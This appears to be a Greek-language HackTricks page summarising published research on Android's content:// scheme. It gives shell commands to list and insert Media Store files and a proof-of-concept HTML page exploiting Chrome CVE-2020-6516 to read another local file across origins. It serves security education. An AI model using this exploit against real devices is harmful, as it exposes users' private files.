content:// protocol

Υποστήριξη HackTricks

Αυτή είναι μια περίληψη της ανάρτησης https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

Καταγραφή Αρχείων στο Media Store

Για να καταγράψετε αρχεία που διαχειρίζεται το Media Store, μπορεί να χρησιμοποιηθεί η παρακάτω εντολή:

$ content query --uri content://media/external/file

Για μια πιο φιλική προς τον άνθρωπο έξοδο, εμφανίζοντας μόνο τον αναγνωριστικό και τη διαδρομή κάθε ευρετηριασμένου αρχείου:

$ content query --uri content://media/external/file --projection _id,_data

Οι παροχείς περιεχομένου είναι απομονωμένοι στον δικό τους ιδιωτικό χώρο ονομάτων. Η πρόσβαση σε έναν παροχέα απαιτεί το συγκεκριμένο content:// URI. Πληροφορίες σχετικά με τις διαδρομές πρόσβασης σε έναν παροχέα μπορούν να αποκτηθούν από τα μανιφέστα εφαρμογών ή τον πηγαίο κώδικα του Android framework.

Η Πρόσβαση του Chrome στους Παροχείς Περιεχομένου

Ο Chrome στο Android μπορεί να έχει πρόσβαση στους παροχείς περιεχομένου μέσω του σχήματος content://, επιτρέποντάς του να έχει πρόσβαση σε πόρους όπως φωτογραφίες ή έγγραφα που έχουν εξαχθεί από τρίτες εφαρμογές. Για να το εικονογραφήσουμε αυτό, ένα αρχείο μπορεί να εισαχθεί στο Media Store και στη συνέχεια να προσπελαστεί μέσω του Chrome:

Εισάγετε μια προσαρμοσμένη καταχώρηση στο Media Store:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

Ανακαλύψτε τον αναγνωριστικό του νεοεισαχθέντος αρχείου:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

Το αρχείο μπορεί στη συνέχεια να προβληθεί στο Chrome χρησιμοποιώντας μια διεύθυνση URL που κατασκευάζεται με τον αναγνωριστικό του αρχείου.

Για παράδειγμα, για να καταγράψετε αρχεία που σχετίζονται με μια συγκεκριμένη εφαρμογή:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Same-Origin-Policy Bypass

Η Πολιτική Ίδιων Προελεύσεων (SOP) είναι ένα πρωτόκολλο ασφαλείας στους περιηγητές που περιορίζει τις ιστοσελίδες από το να αλληλεπιδρούν με πόρους από διαφορετικές προελεύσεις, εκτός αν επιτρέπεται ρητά από μια πολιτική Διαμοιρασμού Πόρων Διαφορετικών Προελεύσεων (CORS). Αυτή η πολιτική στοχεύει στην πρόληψη διαρροών πληροφοριών και επιθέσεων Cross-Site Request Forgery. Ο Chrome θεωρεί το content:// ως τοπικό σχήμα, υπονοώντας αυστηρότερους κανόνες SOP, όπου κάθε τοπικό σχήμα URL αντιμετωπίζεται ως ξεχωριστή προέλευση.

Ωστόσο, το CVE-2020-6516 ήταν μια ευπάθεια στον Chrome που επέτρεπε την παράκαμψη των κανόνων SOP για πόρους που φορτώνονταν μέσω ενός URL content://. Στην ουσία, ο κώδικας JavaScript από ένα URL content:// μπορούσε να έχει πρόσβαση σε άλλους πόρους που φορτώνονταν μέσω URL content://, γεγονός που ήταν σημαντική ανησυχία ασφαλείας, ειδικά σε συσκευές Android που εκτελούσαν εκδόσεις πριν από το Android 10, όπου δεν είχε εφαρμοστεί η περιορισμένη αποθήκευση.

Η απόδειξη της έννοιας παρακάτω δείχνει αυτή την ευπάθεια, όπου ένα έγγραφο HTML, αφού ανέβει κάτω από /sdcard και προστεθεί στο Media Store, χρησιμοποιεί το XMLHttpRequest στον JavaScript του για να έχει πρόσβαση και να εμφανίσει τα περιεχόμενα ενός άλλου αρχείου στο Media Store, παρακάμπτοντας τους κανόνες SOP.

Proof-of-Concept HTML:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
Υποστηρίξτε το HackTricks

Last updated